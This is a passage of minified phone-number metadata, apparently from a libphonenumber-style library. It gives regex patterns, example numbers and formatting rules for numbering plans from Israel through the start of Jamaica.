,[9]],"IL",972,"0(?:0|1[2-9])","0",null,null,"0",null,null,null,[[null,"(\\d{4})(\\d{3})","$1-$2",["125"]],[null,"(\\d)(\\d{3})(\\d{4})","$1-$2-$3",["[2-489]"],"0$1"],[null,"(\\d{4})(\\d{2})(\\d{2})","$1-$2-$3",["121"]],[null,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["[57]"],"0$1"],[null,"(\\d{4})(\\d{3})(\\d{3})","$1-$2-$3",["12"]],[null,"(\\d{4})(\\d{6})","$1-$2",["159"]],[null,"(\\d)(\\d{3})(\\d{3})(\\d{3})","$1-$2-$3-$4",["1[7-9]"]],[null,"(\\d{3})(\\d{1,2})(\\d{3})(\\d{4})","$1-$2 $3-$4",["1"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"1700\\d{6}",null,null,null,null,null,null,[10]],[null,null,"1599\\d{6}",null,null,null,"1599123456",null,null,[10]],null,null,[null,null,"151\\d{8,9}",null,null,null,"15112340000",null,null,[11,12]]],IM:[null,[null,null,"(?:1624|(?:[3578]\\d|90)\\d\\d)\\d{6}",null,null,null,null,null,null,[10],[6]],[null,null,"1624[5-8]\\d{5}",null,null,null,"1624756789",null,null,null,[6]],[null,null,"7(?:4576|[59]24\\d|624[0-4689])\\d{5}",null,null,null,"7924123456"],[null,null,"808162\\d{4}",null,null,null,"8081624567"],[null,null,"(?:8(?:4(?:40[49]06|5624\\d)|7(?:0624|2299)\\d)|90[0167]624\\d)\\d{3}",null,null,null,"9016247890"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"70\\d{8}",null,null,null,"7012345678"],[null,null,"56\\d{8}",null,null,null,"5612345678"],"IM",44,"00","0",null,null,"0|([5-8]\\d{5})$","1624$1",null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:3(?:(?:08162|3\\d{4}|7(?:0624|2299))\\d|4(?:40[49]06|5624\\d))|55\\d{5})\\d{3}",null,null,null,"5512345678"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],IN:[null,[null,null,"(?:00800|1\\d{0,5}|[2-9]\\d\\d)\\d{7}",null,null,null,null,null,null,[8,9,10,11,12,13],[6,7]],[null,null,"(?:1(?:1[2-7]\\d\\d|2(?:[0-249][2-7]\\d|[35-8]\\d[2-7])|3(?:[0-25][2-7]\\d|[346-9]\\d[2-7])|4(?:[145][2-7]\\d|[236-9]\\d[2-7])|[59](?:[0235-9]\\d[2-7]|[14][2-7]\\d)|6(?:[014][2-7]\\d|[235-9]\\d[2-7])|7(?:(?:0[24]|[1257][2-7])\\d|[34689]\\d[2-7])|8(?:[01346][2-7]\\d|[257-9]\\d[2-7]))|2(?:[02][2-7]\\d\\d|1(?:[134689]\\d[2-7]|[257][2-7]\\d)|3(?:[013][2-7]\\d|[24-8]\\d[2-7])|4(?:[01][2-7]\\d|[2-8]\\d[2-7])|5(?:[0137][2-7]\\d|[25689]\\d[2-7])|6(?:[0158][2-7]\\d|[2-4679]\\d[2-7])|7(?:[13-79]\\d[2-7]|8[2-7]\\d)|8(?:(?:0[13468]|[1568][2-7])\\d|[2-479]\\d[2-7])|9(?:(?:0\\d|[14][2-7])\\d|[235-9]\\d[2-7]))|3(?:(?:01|1[79])\\d[2-7]|2(?:[1-5]\\d[2-7]|6[2-7]\\d)|3[2-7]\\d\\d|4(?:[13][2-7]\\d|2(?:[0189][2-7]|[2-7]\\d)|[5-8]\\d[2-7])|5(?:[125689]\\d[2-7]|[34][2-7]\\d)|6(?:[01489][2-7]\\d|[235-7]\\d[2-7])|7(?:[02-46][2-7]\\d|[157-9]\\d[2-7])|8(?:(?:0\\d|[159][2-7])\\d|[2-46-8]\\d[2-7]))|4(?:[04][2-7]\\d\\d|1(?:[14578]\\d[2-7]|[36][2-7]\\d)|2(?:(?:0[24]|[1-47][2-7])\\d|[5689]\\d[2-7])|3(?:[15][2-7]\\d|[2-467]\\d[2-7])|5(?:[12][2-7]\\d|[4-7]\\d[2-7])|6(?:[0-26-9][2-7]\\d|[35]\\d[2-7])|7(?:(?:[014-9][2-7]|2[2-8])\\d|3\\d[2-7])|8(?:[013-57][2-7]\\d|[2689]\\d[2-7])|9(?:[014-7][2-7]\\d|[2389]\\d[2-7]))|5(?:1(?:[025][2-7]\\d|[146-9]\\d[2-7])|2(?:[14-8]\\d[2-7]|2[2-7]\\d)|3(?:[1346]\\d[2-7]|[25][2-7]\\d)|4(?:[14-69]\\d[2-7]|[28][2-7]\\d)|5(?:(?:1[2-7]|2[1-7])\\d|[46]\\d[2-7])|6(?:[146-9]\\d[2-7]|[25][2-7]\\d)|7(?:1[2-7]\\d|[2-4]\\d[2-7])|8(?:1[2-7]\\d|[2-8]\\d[2-7])|9(?:[15][2-7]\\d|[246]\\d[2-7]))|6(?:1(?:[1358]\\d[2-7]|2[2-7]\\d)|2(?:1[2-7]\\d|[2457]\\d[2-7])|3(?:1[2-7]\\d|[2-4]\\d[2-7])|4(?:1[2-7]\\d|[235-7]\\d[2-7])|5(?:[17][2-7]\\d|[2-689]\\d[2-7])|6(?:[13][2-7]\\d|[24578]\\d[2-7])|7(?:1[2-7]\\d|[235689]\\d[2-7]|4(?:[0189][2-7]|[2-7]\\d))|8(?:0[2-7]\\d|[1-6]\\d[2-7]))|7(?:1(?:[013-9]\\d[2-7]|2[2-7]\\d)|2(?:[0235-9]\\d[2-7]|[14][2-7]\\d)|3(?:[134][2-7]\\d|[2679]\\d[2-7])|4(?:[1-35689]\\d[2-7]|[47][2-7]\\d)|5(?:[15][2-7]\\d|[2-46-9]\\d[2-7])|[67](?:[02-9]\\d[2-7]|1[2-7]\\d)|8(?:(?:[013-7]\\d|2[0-6])[2-7]|8(?:[0189][2-7]|[2-7]\\d))|9(?:[0189]\\d[2-7]|[2-7]\\d\\d))|8(?:0[2-7]\\d\\d|1(?:[1357-9]\\d[2-7]|6[2-7]\\d)|2(?:[014][2-7]\\d|[235-8]\\d[2-7])|3(?:[03-57-9]\\d[2-7]|[126][2-7]\\d)|(?:4[0-24-9]|5\\d)\\d[2-7]|6(?:[136][2-7]\\d|[2457-9]\\d[2-7])|7(?:[078][2-7]\\d|[1-6]\\d[2-7])|8(?:[1256]\\d[2-7]|[34][2-7]\\d)|9(?:1[2-7]\\d|[2-4]\\d[2-7])))\\d{5}",null,null,null,"7410410123",null,null,[10],[6,7,8]],[null,null,"(?:6(?:(?:0(?:0[0-3569]|26|33)|2(?:[06]\\d|3[02589]|8[0-479]|9[0-79])|9(?:0[019]|13))\\d|1279|3(?:(?:0[0-79]|6[0-4679]|7[0-24-9]|[89]\\d)\\d|5(?:0[0-6]|[1-9]\\d)))|7(?:(?:0\\d\\d|19[0-5])\\d|2(?:(?:[0235-79]\\d|[14][017-9])\\d|8(?:[0-59]\\d|[6-8][089]))|3(?:(?:[05-8]\\d|3[017-9])\\d|1(?:[089]\\d|11|7[02-8])|2(?:[0-49][089]|[5-8]\\d)|4(?:[07-9]\\d|11)|9(?:[016-9]\\d|[2-5][089]))|4(?:0\\d\\d|1(?:[015-9]\\d|[2-4][089])|[29](?:[0-7][089]|[89]\\d)|3(?:[0-8][089]|9\\d)|[47](?:[089]\\d|11|7[02-8])|[56]\\d[089]|8(?:[0-24-7][089]|[389]\\d))|5(?:(?:[0346-8]\\d|5[017-9])\\d|1(?:[07-9]\\d|11)|2(?:[04-9]\\d|[1-3][089])|9(?:[0-6][089]|[7-9]\\d))|6(?:0(?:[0-47]\\d|[5689][089])|(?:1[0-257-9]|[6-9]\\d)\\d|2(?:[0-4]\\d|[5-9][089])|3(?:[02-8][089]|[19]\\d)|4\\d[089]|5(?:[0-367][089]|[4589]\\d))|7(?:0(?:0[02-9]|[13-7][089]|[289]\\d)|[1-9]\\d\\d)|8(?:[0-79]\\d\\d|8(?:[089]\\d|11|7[02-9]))|9(?:[089]\\d\\d|313|7(?:[02-8]\\d|9[07-9])))|8(?:0(?:(?:[01589]\\d|6[67])\\d|7(?:[02-8]\\d|9[04-9]))|1(?:[0-57-9]\\d\\d|6(?:[089]\\d|7[02-8]))|2(?:[014](?:[089]\\d|7[02-8])|[235-9]\\d\\d)|3(?:[03-57-9]\\d\\d|[126](?:[089]\\d|7[02-8]))|[45]\\d{3}|6(?:[02457-9]\\d\\d|[136](?:[089]\\d|7[02-8]))|7(?:(?:0[07-9]|[1-69]\\d)\\d|[78](?:[089]\\d|7[02-8]))|8(?:[0-25-9]\\d\\d|3(?:[089]\\d|7[02-8])|4(?:[0489]\\d|7[02-8]))|9(?:[02-9]\\d\\d|1(?:[0289]\\d|7[02-8])))|9\\d{4})\\d{5}",null,null,null,"8123456789",null,null,[10]],[null,null,"(?:00800\\d|1(?:600|80[03]\\d{3}))\\d{6}|1800\\d{4,8}",null,null,null,"1800123456"],[null,null,"186[12]\\d{9}",null,null,null,"1861123456789",null,null,[13]],[null,null,"1860\\d{7}",null,null,null,"18603451234",null,null,[11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"IN",91,"00","0",null,null,"0",null,null,null,[[null,"(\\d{8})","$1",["5[0236-8]"],null,null,1],[null,"(\\d{4})(\\d{4,5})","$1 $2",["180","1800"],null,null,1],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["11|2[02]|33|4[04]|79[1-7]|80[2-46]","11|2[02]|33|4[04]|79(?:[1-6]|7[19])|80(?:[2-4]|6[0-589])","11|2[02]|33|4[04]|79(?:[124-6]|3(?:[02-9]|1[0-24-9])|7(?:1|9[1-6]))|80(?:[2-4]|6[0-589])"],"0$1",null,1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["1(?:2[0-249]|3[0-25]|4[145]|[59][14]|[68]|7[1257])|2(?:1[257]|3[013]|4[01]|5[0137]|6[0158]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|5[12]|[78]1|9[15])|6(?:12|[2-4]1|5[17]|6[13]|7[14]|80)|7(?:12|2[14]|3[134]|4[47]|5[15]|61|88)|8(?:16|2[014]|3[126]|6[136]|7[078]|8[34]|91)","1(?:2[0-249]|3[0-25]|4[145]|[59][14]|6(?:0[2-7]|[1-9])|7[1257]|8(?:[06][2-7]|[1-57-9]))|2(?:1[257]|3[013]|4[01]|5[0137]|6[0158]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|5(?:1|2[2-7])|[78]1|9[15])|6(?:12[2-7]|[2-4]1|5[17]|6[13]|7[14]|80)|7(?:12|(?:2[14]|5[15])[2-6]|3(?:1[2-7]|[34][2-6])|4[47][2-7]|61[346]|88[0-8])|8(?:(?:16|2[014]|3[126]|6[136])[2-7]|7(?:0[2-6]|[78][2-7])|8(?:3[2-7]|4[235-7])|91[3-7])","1(?:2[0-249]|3[0-25]|4[145]|[59][14]|6(?:0[2-7]|[1-9])|7[1257]|8(?:[06][2-7]|[1-57-9]))|2(?:1[257]|3[013]|4[01]|5[0137]|6[0158]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|5(?:1|2[2-7])|[78]1|9[15])|6(?:12(?:[2-6]|7[0-8])|[2-4]1|5[17]|6[13]|7[14]|80)|7(?:12|(?:2[14]|5[15])[2-6]|3(?:1(?:[2-6]|71)|[34][2-6])|4[47](?:[2-6]|7[19])|61[346]|88(?:[01][2-7]|[2-7]|82))|8(?:(?:16|2[014]|3[126]|6[136])(?:[2-6]|7[19])|7(?:0[2-6]|[78](?:[2-6]|7[19]))|8(?:3(?:[2-6]|7[19])|4(?:[2356]|7[19]))|91(?:[3-6]|7[19]))"],"0$1",null,1],[null,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1(?:[23579]|4[236-9])|[2-5]|6(?:1[1358]|2[2457-9]|3[2-5]|[4-8])|7(?:1[013-9]|28|3[129]|4[1-35689]|5[29]|6[02-5]|70)|807","1(?:[23579]|4[236-9])|[2-5]|6(?:1[1358]|2(?:[2457]|84|95)|3(?:[2-4]|55)|[4-8])|7(?:1(?:[013-8]|9[6-9])|28[6-8]|3(?:17|2[0-49]|9[2-57])|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4|5[0-367])|70[13-7])|807[19]","1(?:[23579]|4[236-9])|[2-5]|6(?:1[1358]|2(?:[2457]|84|95)|3(?:[2-4]|55)|[4-8])|7(?:1(?:[013-8]|9[6-9])|(?:28[6-8]|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]\\d|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4\\d|5[0-367])|70[13-7])[2-7]|3(?:179|(?:2[0-49]|9[2-57])[2-7]))|807(?:1|9[1-3])"],"0$1",null,1],[null,"(\\d{5})(\\d{5})","$1 $2",["[6-9]"],"0$1",null,1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["14"],null,null,1],[null,"(\\d{4})(\\d{2,4})(\\d{4})","$1 $2 $3",["1(?:6|8[06])","1(?:6|8[06]0)"],null,null,1],[null,"(\\d{2})(\\d{3})(\\d{4})(\\d{3})","$1 $2 $3 $4",["0"],"0$1",null,1],[null,"(\\d{4})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["1"],null,null,1]],[[null,"(\\d{8})","$1",["5[0236-8]"],null,null,1],[null,"(\\d{4})(\\d{4,5})","$1 $2",["180","1800"],null,null,1],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["11|2[02]|33|4[04]|79[1-7]|80[2-46]","11|2[02]|33|4[04]|79(?:[1-6]|7[19])|80(?:[2-4]|6[0-589])","11|2[02]|33|4[04]|79(?:[124-6]|3(?:[02-9]|1[0-24-9])|7(?:1|9[1-6]))|80(?:[2-4]|6[0-589])"],"0$1",null,1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["1(?:2[0-249]|3[0-25]|4[145]|[59][14]|[68]|7[1257])|2(?:1[257]|3[013]|4[01]|5[0137]|6[0158]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|5[12]|[78]1|9[15])|6(?:12|[2-4]1|5[17]|6[13]|7[14]|80)|7(?:12|2[14]|3[134]|4[47]|5[15]|61|88)|8(?:16|2[014]|3[126]|6[136]|7[078]|8[34]|91)","1(?:2[0-249]|3[0-25]|4[145]|[59][14]|6(?:0[2-7]|[1-9])|7[1257]|8(?:[06][2-7]|[1-57-9]))|2(?:1[257]|3[013]|4[01]|5[0137]|6[0158]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|5(?:1|2[2-7])|[78]1|9[15])|6(?:12[2-7]|[2-4]1|5[17]|6[13]|7[14]|80)|7(?:12|(?:2[14]|5[15])[2-6]|3(?:1[2-7]|[34][2-6])|4[47][2-7]|61[346]|88[0-8])|8(?:(?:16|2[014]|3[126]|6[136])[2-7]|7(?:0[2-6]|[78][2-7])|8(?:3[2-7]|4[235-7])|91[3-7])","1(?:2[0-249]|3[0-25]|4[145]|[59][14]|6(?:0[2-7]|[1-9])|7[1257]|8(?:[06][2-7]|[1-57-9]))|2(?:1[257]|3[013]|4[01]|5[0137]|6[0158]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|5(?:1|2[2-7])|[78]1|9[15])|6(?:12(?:[2-6]|7[0-8])|[2-4]1|5[17]|6[13]|7[14]|80)|7(?:12|(?:2[14]|5[15])[2-6]|3(?:1(?:[2-6]|71)|[34][2-6])|4[47](?:[2-6]|7[19])|61[346]|88(?:[01][2-7]|[2-7]|82))|8(?:(?:16|2[014]|3[126]|6[136])(?:[2-6]|7[19])|7(?:0[2-6]|[78](?:[2-6]|7[19]))|8(?:3(?:[2-6]|7[19])|4(?:[2356]|7[19]))|91(?:[3-6]|7[19]))"],"0$1",null,1],[null,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1(?:[23579]|4[236-9])|[2-5]|6(?:1[1358]|2[2457-9]|3[2-5]|[4-8])|7(?:1[013-9]|28|3[129]|4[1-35689]|5[29]|6[02-5]|70)|807","1(?:[23579]|4[236-9])|[2-5]|6(?:1[1358]|2(?:[2457]|84|95)|3(?:[2-4]|55)|[4-8])|7(?:1(?:[013-8]|9[6-9])|28[6-8]|3(?:17|2[0-49]|9[2-57])|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4|5[0-367])|70[13-7])|807[19]","1(?:[23579]|4[236-9])|[2-5]|6(?:1[1358]|2(?:[2457]|84|95)|3(?:[2-4]|55)|[4-8])|7(?:1(?:[013-8]|9[6-9])|(?:28[6-8]|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]\\d|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4\\d|5[0-367])|70[13-7])[2-7]|3(?:179|(?:2[0-49]|9[2-57])[2-7]))|807(?:1|9[1-3])"],"0$1",null,1],[null,"(\\d{5})(\\d{5})","$1 $2",["[6-9]"],"0$1",null,1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["14"],null,null,1],[null,"(\\d{4})(\\d{2,4})(\\d{4})","$1 $2 $3",["1(?:6|8[06])","1(?:6|8[06]0)"],null,null,1],[null,"(\\d{4})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["1"],null,null,1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"(?:00800\\d|1(?:600|8(?:0[03]\\d\\d|6(?:0|[12]\\d\\d))\\d))\\d{6}|1800\\d{4,8}"],[null,null,"140\\d{7}",null,null,null,"1409305260",null,null,[10]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],IO:[null,[null,null,"3\\d{6}",null,null,null,null,null,null,[7]],[null,null,"37\\d{5}",null,null,null,"3709100"],[null,null,"38\\d{5}",null,null,null,"3801234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"IO",246,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["3"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],IQ:[null,[null,null,"(?:1|[2-6]\\d?|7\\d\\d)\\d{7}",null,null,null,null,null,null,[8,9,10],[6,7]],[null,null,"1\\d{7}|(?:2[13-5]|3[02367]|4[023]|5[03]|6[026])\\d{6,7}",null,null,null,"12345678",null,null,[8,9],[6,7]],[null,null,"7[3-9]\\d{8}",null,null,null,"7912345678",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"IQ",964,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["1"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[2-6]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["7"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],IR:[null,[null,null,"[1-9]\\d{9}|(?:[1-8]\\d\\d|9)\\d{3,4}",null,null,null,null,null,null,[4,5,6,7,10],[8]],[null,null,"(?:(?:1[137]|2[13-68]|3[1458]|4[145]|5[1468]|6[16]|7[1467]|8[13467])\\d{4}|94(?:(?:000|(?:11|2\\d)\\d|30[01])\\d|4(?:111|40\\d)))\\d{4}|(?:1[137]|2[13-68]|3[1458]|4[145]|5[1468]|6[16]|7[1467]|8[13467])(?:[16]|[289]\\d?)\\d{3}",null,null,null,"2123456789",null,null,[6,7,10],[4,5,8]],[null,null,"9(?:(?:0(?:[1-35]\\d|44)|(?:[13]\\d|2[0-2])\\d)\\d|9(?:(?:[01]\\d|44)\\d|510|8(?:1[01]|88)|9(?:0[013]|1[0134]|21|77|9[6-9])))\\d{5}",null,null,null,"9123456789",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"993\\d{7}",null,null,null,"9932123456",null,null,[10]],"IR",98,"00","0",null,null,"0",null,null,null,[[null,"(\\d{4,5})","$1",["96"],"0$1"],[null,"(\\d{2})(\\d{4,5})","$1 $2",["(?:1[137]|2[13-68]|3[1458]|4[145]|5[1468]|6[16]|7[1467]|8[13467])[12689]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["9"],"0$1"],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["[1-8]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"9(?:4(?:11[1-7]|440)\\d{5}|6(?:0[12]|2[16-8]|3(?:08|[14]5|[23]|66)|4(?:0|80)|5[01]|6[89]|86|9[19]))",null,null,null,null,null,null,[4,5,10]],[null,null,"96(?:0[12]|2[16-8]|3(?:08|[14]5|[23]|66)|4(?:0|80)|5[01]|6[89]|86|9[19])",null,null,null,"9601",null,null,[4,5]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],IS:[null,[null,null,"(?:38\\d|[4-9])\\d{6}",null,null,null,null,null,null,[7,9]],[null,null,"(?:4(?:1[0-24-69]|2[0-7]|[37][0-8]|4[0-245]|5[0-68]|6\\d|8[0-36-8])|5(?:05|[156]\\d|2[02578]|3[0-579]|4[03-7]|7[0-2578]|8[0-35-9]|9[013-689])|87[23])\\d{4}",null,null,null,"4101234",null,null,[7]],[null,null,"(?:38[589]\\d\\d|6(?:1[1-8]|2[0-6]|3[027-9]|4[014679]|5[0159]|6[0-69]|70|8[06-8]|9\\d)|7(?:5[057]|[6-8]\\d|9[0-3])|8(?:2[0-59]|[3469]\\d|5[1-9]|8[28]))\\d{4}",null,null,null,"6111234"],[null,null,"800\\d{4}",null,null,null,"8001234",null,null,[7]],[null,null,"90\\d{5}",null,null,null,"9011234",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"49\\d{5}",null,null,null,"4921234",null,null,[7]],"IS",354,"00|1(?:0(?:01|[12]0)|100)",null,null,null,null,null,"00",null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[4-9]"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["3"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"809\\d{4}",null,null,null,"8091234",null,null,[7]],null,null,[null,null,"(?:689|8(?:7[0189]|80)|95[48])\\d{4}",null,null,null,"6891234",null,null,[7]]],IT:[null,[null,null,"0\\d{6}(?:\\d{4})?|3[0-8]\\d{9}|(?:[0138]\\d?|55)\\d{8}|[08]\\d{5}(?:\\d{2})?",null,null,null,null,null,null,[6,7,8,9,10,11]],[null,null,"0(?:(?:1(?:[0159]\\d|[27][1-5]|31|4[1-4]|6[1356]|8[2-57])|2\\d\\d|3(?:[0159]\\d|2[1-4]|3[12]|[48][1-6]|6[2-59]|7[1-7])|4(?:[0159]\\d|[23][1-9]|4[245]|6[1-5]|7[1-4]|81)|5(?:[0159]\\d|2[1-5]|3[2-6]|4[1-79]|6[4-6]|7[1-578]|8[3-8])|7(?:[0159]\\d|2[12]|3[1-7]|4[2-46]|6[13569]|7[13-6]|8[1-59])|8(?:[0159]\\d|2[3-578]|3[1-356]|[6-8][1-5])|9(?:[0159]\\d|[238][1-5]|4[12]|6[1-8]|7[1-6]))\\d|6(?:[0-57-9]\\d\\d|6(?:[0-8]\\d|9[0-79])))\\d{1,6}",null,null,null,"0212345678"],[null,null,"33\\d{9}|3[1-9]\\d{8}|3[2-9]\\d{7}",null,null,null,"3123456789",null,null,[9,10,11]],[null,null,"80(?:0\\d{3}|3)\\d{3}",null,null,null,"800123456",null,null,[6,9]],[null,null,"(?:(?:0878|1(?:44|6[346])\\d)\\d\\d|89(?:2|(?:4[5-9]|(?:5[5-9]|9)\\d\\d)\\d))\\d{3}|89[45][0-4]\\d\\d",null,null,null,"899123456",null,null,[6,8,9,10]],[null,null,"84(?:[08]\\d{3}|[17])\\d{3}",null,null,null,"848123456",null,null,[6,9]],[null,null,"1(?:78\\d|99)\\d{6}",null,null,null,"1781234567",null,null,[9,10]],[null,null,"55\\d{8}",null,null,null,"5512345678",null,null,[10]],"IT",39,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{4,6})","$1 $2",["0[26]"]],[null,"(\\d{3})(\\d{3,6})","$1 $2",["0[13-57-9][0159]|8(?:03|4[17]|9[245])","0[13-57-9][0159]|8(?:03|4[17]|9(?:2|[45][0-4]))"]],[null,"(\\d{4})(\\d{2,6})","$1 $2",["0(?:[13-579][2-46-8]|8[236-8])"]],[null,"(\\d{4})(\\d{4})","$1 $2",["894"]],[null,"(\\d{2})(\\d{3,4})(\\d{4})","$1 $2 $3",["0[26]|5"]],[null,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["1(?:44|[67]|99)|[38]"]],[null,"(\\d{3})(\\d{3,4})(\\d{4})","$1 $2 $3",["0[13-57-9][0159]"]],[null,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["3"]],[null,"(\\d{2})(\\d{4})(\\d{5})","$1 $2 $3",["0[26]"]],[null,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["0"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],1,null,[null,null,"848\\d{6}",null,null,null,null,null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],JE:[null,[null,null,"(?:1534|(?:[3578]\\d|90)\\d\\d)\\d{6}",null,null,null,null,null,null,[10],[6]],[null,null,"1534[0-24-8]\\d{5}",null,null,null,"1534456789",null,null,null,[6]],[null,null,"7(?:(?:(?:50|82)9|937)\\d|7(?:00[378]|97[7-9]))\\d{5}",null,null,null,"7797712345"],[null,null,"80(?:07(?:35|81)|8901)\\d{4}",null,null,null,"8007354567"],[null,null,"(?:8(?:4(?:4(?:4(?:05|42|69)|703)|5(?:041|800))|7(?:0002|1206))|90(?:066[59]|1810|71(?:07|55)))\\d{4}",null,null,null,"9018105678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"701511\\d{4}",null,null,null,"7015115678"],[null,null,"56\\d{8}",null,null,null,"5612345678"],"JE",44,"00","0",null,null,"0|([0-24-8]\\d{5})$","1534$1",null,null,null,null,[null,null,"76(?:0[0-2]|2[356]|4[0134]|5[49]|6[0-369]|77|81|9[39])\\d{6}",null,null,null,"7640123456"],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:3(?:0(?:07(?:35|81)|8901)|3\\d{4}|4(?:4(?:4(?:05|42|69)|703)|5(?:041|800))|7(?:0002|1206))|55\\d{4})\\d{4}",null,null,null,"5512345678"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],JM:[null,[null,null,"(?:[58]\\d\\d|658|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"(?:658[2-9]\\d\\d|876(?:5(?:0[12]|1[0-468]|2[35]|63)|6(?:0[1-3579]|1[0237-9]|[23]\\d|40|5[06]|6[2-589]|7[05]|8[04]|9[4-9])|7(?:0[2-689]|[1-6]\\d|8[056]|9[45])|9(?:0[1-8]|1[02378]|[2-8]\\d|9[2-468])))\\d{4}",null,null,null,"8765230123",null,null,null,[7]],[null,null,"876(?:(?:2[14-9]|[348]\\d)\\d|5(?:0[3-9]|[2-57-9]\\d|6[0-24-9])|7(?:0[07]|7\\d|8[1-47-9]|9[0-36-9])|9(?:[01]9|9[0579]))\\d{4}",null,null,null,"8762101234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[